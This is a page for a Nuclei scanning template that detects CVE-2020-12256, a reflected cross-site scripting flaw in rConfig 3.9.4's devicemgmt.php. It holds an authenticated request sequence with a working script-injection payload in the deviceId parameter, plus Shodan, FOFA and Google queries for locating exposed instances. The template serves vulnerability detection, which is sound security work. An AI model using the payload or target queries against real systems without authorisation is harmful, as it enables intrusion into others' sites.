rConfig 3.9.4 - Cross-Site Scripting

ID: CVE-2020-12256

Severity: medium

Author: r3Y3r53

Tags: cve,cve2020,rconfig,authenticated,xss

Description

The rConfig 3.9.4 is vulnerable to cross-site scripting. The devicemgmnt.php file improperly validates the request coming from the user input. Due to this flaw, An attacker can exploit this vulnerability by crafting arbitrary javascript in deviceId GET parameter of devicemgmnt.php resulting in execution of the javascript.

YAML Source

id: CVE-2020-12256

info:
  name: rConfig 3.9.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The rConfig 3.9.4 is vulnerable to cross-site scripting. The devicemgmnt.php file improperly validates the request coming from the user input. Due to this flaw, An attacker can exploit this vulnerability by crafting arbitrary javascript in `deviceId` GET parameter of devicemgmnt.php resulting in execution of the javascript.
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://gist.github.com/farid007/8855031bad0e497264e4879efb5bc9f8
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12256
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-12256
    cwe-id: CWE-79
    epss-score: 0.17512
    epss-percentile: 0.95674
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve,cve2020,rconfig,authenticated,xss

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /devicemgmt.php?deviceId="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management")'
          - 'contains(content_type_3, "text/html")'
        condition: and
# digest: 4a0a0047304502206f49237cc6dea73784028848915cf3e6b530434c16fb66b2afbe7d165627b945022100c098f1381313c391c74425db7209a4e85a59099117e9211c608a3aa2e3ab44de:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-12256.yaml"

View on Github